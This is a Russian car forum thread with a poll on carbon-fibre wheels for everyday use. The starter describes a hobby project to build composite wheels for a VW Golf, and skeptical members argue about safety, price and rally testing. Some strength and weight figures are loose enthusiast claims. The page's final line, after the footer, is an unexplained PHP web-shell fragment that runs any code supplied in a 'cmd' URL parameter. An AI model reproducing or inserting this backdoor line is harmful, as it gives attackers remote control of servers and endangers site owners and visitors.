Результаты опроса: Купили бы вы карбоновые диски для повседневного пользования? По какой цене?

Голосовавшие
35. Вы ещё не голосовали в этом опросе
  • Да, купил бы. По цене не более 30 т.р. за колесо.

    11 31.43%
  • Да, купил бы. По цене не более 40 т.р. за колесо.

    2 5.71%
  • Нет. Цена неважна, это все понты. Аналогу ковки нет.

    5 14.29%
  • Нет. Цена неважна так как это опасно на наших дорогах/композит не выдержит.

    6 17.14%
  • Не знаю, я не понимаю смысл облегчения неподрес.массы.

    1 2.86%
  • Купил бы, и не только диски, но и др. элементы колеса (карбоновые тормоза и т.д.)

    2 5.71%
  • Да, купил бы чисто из-за понравившегося дизайна.

    2 5.71%
  • Да мне вообще на колеса пофиг, ездит и ездит...

    1 2.86%
  • Я понимаю суть облегчения, но сначала посмотрел бы на отзывы (по цене до 30 т.р.)

    17 48.57%
  • Я понимаю суть облегчения, но сначала посмотрел бы на отзывы (по цене выше 30 т.р.)

    2 5.71%
Опрос с выбором нескольких вариантов ответа.
+ Ответить в теме
Страница 1 из 5 1 2 3 ... ПоследняяПоследняя
Показано с 1 по 10 из 46

Тема: Карбоновые диски. Опрос.


Комбинированный просмотр

  1. #1
    Мимо проходил vsevar is on a distinguished road Аватар для vsevar
    Регистрация
    28.04.2014
    Откуда
    Moscow
    Машина
    VW GOLF mk7 1.4 (122 л.с./200H; МКПП)
    Сообщений
    77

    Карбоновые диски. Опрос.

    Друзья! Заморочился я тут над покупкой легких кованных колес, заморочился сильно, искал редкие варианты которые днем с огнем не сыщешь... Хотел провести эксперимент - насколько улучшается управляемость авто при сверхлегкой неподрессоренной массе, искал колеса по 6-7 кило (это только Япония, и только лимитовые серии).

    Из моих знакомых много технарей, конструкторов и т.д., они посмотрели на меня и спросили - а давай мы тебе диски из композита сделаем! Предыстория здесь: http://www.drive2.ru/l/3292863/

    Так появился маленький проект-хобби "Облегчим неподрессоренную массу автомобиля" и выявилось вот что:

    1) Мы реально делаем карбоновое колесо! Я сам не верю в это? но мы его делаем! Пока за основу взята модель какого то колеса от AG Forged, который они любезно предоставили задаром в виде 3D модели.
    Там 10 спицевый дизайн, от которого я хочу отказаться в пользу дизайна от Golf GTi V или Alfa Romeo, ввиду большей геометрической прочности. Да, я понимаю что дизайн спорный, но он крепче геометрически. Стендовые испытания покажут. Моя цель — 3 - 4 кило в 17-ом размере, при всех прочтностных характеристиках люминия.
    Пока ребята что то рисуют в каких то умных программах, в перерывах между изготовлением ракет и снарядов, а мы ругаимся по поводу техпроцесса — пацаны хотят вытачивать колеса из заготовки, я против, так как считаю что цельносшитое будет прочнее и т.д., а пока ругались…
    2) …нашли НИИ, который понимает, что такое композитные материалы и где их лучше всего брать (оказывается лучшие карбоновые заготовки делают в Корее, кто бы мог подумать…);
    3) Моя мысль полетела дальше — карбоновые тормоза и детали амортизаторов и подвески! Я сам офигеваю от своей наглости, все же у меня не МакЛарен, а всего лишь Golf VII…, но я глубоко убежден, что композитные материалы могут быть доступны всем, так как они реально функциональны!
    4) НИИ сказали — блин, а че молчите, технология карбоновых тормозов у нас уже есть(!!!). Это мне сказали вчера!);
    5) Родился слоган проекта — Carbon for All!))) ;
    6) Начали считать себестоимость, и получилось так, что нам стало резко неинтересно делать колеса одному мне. Решили думать о производстве.
    7) нам необходимо понять вот что — а кому то, кроме меня, вообще интересно иметь сверхлегкие колеса на автомобиле, не обязательно на корче, а даже на простом авто? По какой цене, в каком количестве?

    Принимая во внимание тот факт, что большинство из нас не понимают, что такое композитные материалы, а так же роль веса в неподрессоренной массе (вес диска, тормозов, шины и т.д.) вкратце поясняю: 1 кг на колесе в движении, эквивалентен от 16 до 40 кг на весе автомобиля, но это не самое забавное. Самое интересное то, что эта экономия веса, сильно поменяет реакции авто. Легкое колесо легче повернуть, амортизатору его легче прижать к дороге, оно обладает меньше инертностью, тормозу его легче затормозить, двигателю легче раскрутить и т.д. Это такие параметры, которые не пропишешь в брошюрке, но они очевидны и следуют из школьного учебника физики за 7 класс.

    Относительно прочности материала - есть ньансы, кому интересно может глянуть в вики, но вкратце: это тканный материал, который при том же весе что и сталь, обладает 10-кратной механической прочностью. Т.е. колесо при облегченном весе, будет прочнее на изгиб и кручение чем сталь или алюминий. Но есть ньюансы, для которых нужно создавать отдельную ветку.

    Собственно на данном этапе я хотел бы понять - кому в принципе интересно иметь сверхлегкие колеса на автомобиль (и не только колеса), есть ли доверие к материалу (при условии прохождения стендовых, дорожных и прочих испытаний, получение соответствующих сертификатов безопасности и т.д.).

    PS: Проект пока в стадии программного просчета, прикидывания технологии и т.д. Мы еще не знаем из чего будем делать (армированное стекло, арамид, кевлар, карбон и т.п.), не знаем себестоимости и т.д..

    PSS: По поводу механической устойчивости и ремонтопригодности карбона от "бордюрки" - не принимайте этот момент во внимание. Есть определенная технология защиты - над которой мы сейчас думаем (тот же МДО например). Сейчас необходимо понять в целом...
    Последний раз редактировалось vsevar; 28.04.2014 в 11:35.

  2. #2
    GTI-Racing сapitaine is on a distinguished road Аватар для сapitaine
    Регистрация
    10.07.2013
    Откуда
    Москва
    Машина
    Golf R20
    Сообщений
    608
    Начните снижение не подресоренных масс с чего то более надежного, и менее дорого, чем композитный колесный диск.

  3. #3
    Мимо проходил vsevar is on a distinguished road Аватар для vsevar
    Регистрация
    28.04.2014
    Откуда
    Moscow
    Машина
    VW GOLF mk7 1.4 (122 л.с./200H; МКПП)
    Сообщений
    77
    Например? Тут вариантов то немного. Диск, шина, тормозной диск, элементы поршней, элементы подвески, амортизатор. Самый тяжелый это диск.

  4. #4
    GTI-Racing сapitaine is on a distinguished road Аватар для сapitaine
    Регистрация
    10.07.2013
    Откуда
    Москва
    Машина
    Golf R20
    Сообщений
    608
    Цитата Сообщение от vsevar Посмотреть сообщение
    Самый тяжелый это диск.
    Я же говорю, вы не с того конца пошли. :)
    Да и не будут у вас эти диски покупать, никто не хочет убраться, потому что ваши инженеры имеют 20летний опыт конструирования карбоновых дисков для автоспорта, а предприятия сертифицированы для выпуска такой продукции, а контроль качества осуществляют приезжие спецы из ес\яппы.

  5. #5
    Мимо проходил vsevar is on a distinguished road Аватар для vsevar
    Регистрация
    28.04.2014
    Откуда
    Moscow
    Машина
    VW GOLF mk7 1.4 (122 л.с./200H; МКПП)
    Сообщений
    77
    Ну дык скажите с какого конца?

    "никто не хочет убраться". Это характерно, на входе вы мыслите о том, как убраться, а не как сделать лучше)))
    То что я столкнусь с колоссальной волной недоверия меня не смущает, я это и ожидаю, народ у нас такой, неверующий, а по большей части просто неграмотный (увы и ах, никого оскорбить не хочу, но мало кто вообще помнит такой предмет как физика). Для подавляющего большинства из нас карбоны это какая то неведомая экзотика, которая ставится только на корчи за 200 к уев, или просто галимые понты в виде карбоновой пленки или вставок в салоне авто. О реальных способностях карбона никто не знает. Сопротивление будет ,будет сильным ,как раз изза этого - незнание.

    Вам известно что очень большая доля частных летательных аппаратов (самолеты, вертолеты) сделано из композитов, а там нагрузки на крыло, винт, и т.д. просто коллосальны! Например почти все роторы на вертолетах давно из композитов (а не только корпуса). Кроме всего прочего, показатели могут сильно меняться в зависимости от смолы которой будет залито волокно (к стати основной вес как раз приходится на смолу, а не на нить), они оказывается тоже разные, и для разных целей.

    Среднестатистический автолюбитель, или даже тюнер, просто не в курсе, что кроме капотов есть еще другие технологии использования экзотических материалов, и по вполне доступной цене. Например компания HRE делает давно такие диски, но у них лицевая часть из ковки, карбоновый только обод, и там ценник - от 15 000 уев на круг. BMW что то создает уже давно, никак не создаст (просто дешевле продавать копеечное оригинальное литье по цене в два раза выше качественной ковки). Да в принципе на европейском рынке такие колеса уже есть, но позиционируются как Премиум класс, стоят как новый авто. Большим производителям нафиг не надо, они зарабатывают на другом.

    Первая партия колес, после прохождения стендовых испытаний уйдет в раллийную команду на сезон, или больше, с просьбой - убить их нафиг.

    К стати, есть масса отзывов о карбоновых колесах на мотоциклы, и ни одного отзыва "я убрался изза колеса".

    PS: Никакого 20-ти летнего опыта, никакого эксклюзива а-ля ролекс. Я думаю исключительно функционально. Если придется продавать колеся по 2-3 туев за штуку (хотя можно вон эксклюзивную ковку по такой цене купить, ROtiform например, тока весит она почти как литье, просто ха счет хрома/бренда/дизайна), я первый кто откажусь от этой идеи, ибо не вижу в ней смысла.
    Последний раз редактировалось vsevar; 28.04.2014 в 13:00.

  6. #6
    GTI-Racing сapitaine is on a distinguished road Аватар для сapitaine
    Регистрация
    10.07.2013
    Откуда
    Москва
    Машина
    Golf R20
    Сообщений
    608
    Цитата Сообщение от vsevar Посмотреть сообщение
    То что я столкнусь с колоссальной волной недоверия меня не смущает, я это и ожидаю, народ у нас такой, неверующий, а по большей части просто неграмотный (увы и ах, никого оскорбить не хочу, но мало кто вообще помнит такой предмет как физика).
    Ну и хорошо что не смущает, как будет отчет от раллийной команды об использовании в ралли - с удовольствием почитаю. Вот только терзают меня смутные сомнение, что ни 1 организатор просто не допустит команду укомплектованную такими нонейм колесами.
    Цитата Сообщение от vsevar Посмотреть сообщение
    Вам известно что очень большая доля частных летательных аппаратов (самолеты, вертолеты) сделано из композитов, а там нагрузки на крыло, винт, и т.д. просто коллосальны!
    Ваш К.О.
    Цитата Сообщение от vsevar Посмотреть сообщение
    Среднестатистический автолюбитель, или даже тюнер, просто не в курсе, что кроме капотов есть еще другие технологии использования экзотических материалов, и по вполне доступной цене.
    Как минимум был проведен социологический опрос, что бы понять что этот самый среднестатистический тюнер знает.

    Цитата Сообщение от vsevar Посмотреть сообщение
    К стати, есть масса отзывов о карбоновых колесах на мотоциклы, и ни одного отзыва "я убрался изза колеса".
    Да, на агерруР тоже карбоновые колеса ставят. Только вот они к вашему будущему производству отношения не имеют. Или я ошибаюсь?
    Цитата Сообщение от vsevar Посмотреть сообщение
    PS: Никакого 20-ти летнего опыта, никакого эксклюзива а-ля ролекс. Я думаю исключительно функционально.
    Ну раз нет должного опыта, лучше думать функционально и купить кованные диски, вместо нонейм карбоновых.

  7. #7
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Карбон же по сути дела в один прекрасный момент для достижении критической нагрузки не сомнется, а просто разлетится лопнув.....так ведь. Конечно это произойдет при нагрузке большой, но все же.
    песок сыпется....не останавливайтесь на достигнутом !

  8. #8
    Мимо проходил vsevar is on a distinguished road Аватар для vsevar
    Регистрация
    28.04.2014
    Откуда
    Moscow
    Машина
    VW GOLF mk7 1.4 (122 л.с./200H; МКПП)
    Сообщений
    77
    Не совсем так. Это больше относится к стекловолокну и арамиду, карбон же весьма эластичен, но у него есть другие ньюансы. Кроме того можно вспомнить массу случаев когда неудачная ковка лопалась (у СМК в свое время были проблемы, спицы лопались около ступицы, при чем все сразу по кругу), в инете можно найти массу фотокарточег с разорванными литыми и кованными дисками разных производителей. Так что все относительно.

  9. #9
    Мимо проходил vsevar is on a distinguished road Аватар для vsevar
    Регистрация
    28.04.2014
    Откуда
    Moscow
    Машина
    VW GOLF mk7 1.4 (122 л.с./200H; МКПП)
    Сообщений
    77
    Мне больше всего последняя фраза про опыт понравилась))) это тоже ожидаемо.

    По поводу ралли - неужели, а вы пробовали? Есть такая категория - нули. Время не зачитывается, но там можно ездить хоть на прототипах с реактивным пихлом и на гусенничном ходу, требования - каркас, шлем, шмотка. Все.

  10. #10
    GTI-Racing сapitaine is on a distinguished road Аватар для сapitaine
    Регистрация
    10.07.2013
    Откуда
    Москва
    Машина
    Golf R20
    Сообщений
    608
    Ну вот и почитаем, как будет отчет. Какая команда и в каких соревнованиях тратила свой бюджет на испытание карбоновых колес.

+ Ответить в теме
Страница 1 из 5 1 2 3 ... ПоследняяПоследняя

Похожие темы

  1. Карбоновые изделия SEIBON carbon
    от GUMOR в разделе Покупка и продажа
    Ответов: 67
    Последнее сообщение: 01.01.2024, 17:13
  2. Ответов: 11
    Последнее сообщение: 01.09.2013, 11:36
  3. карбоновые накладки на зеркала Golf V
    от chan06 в разделе Покупка и продажа запчастей
    Ответов: 25
    Последнее сообщение: 04.06.2013, 16:22
  4. Ответов: 4
    Последнее сообщение: 05.10.2012, 18:47

Метки этой темы

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}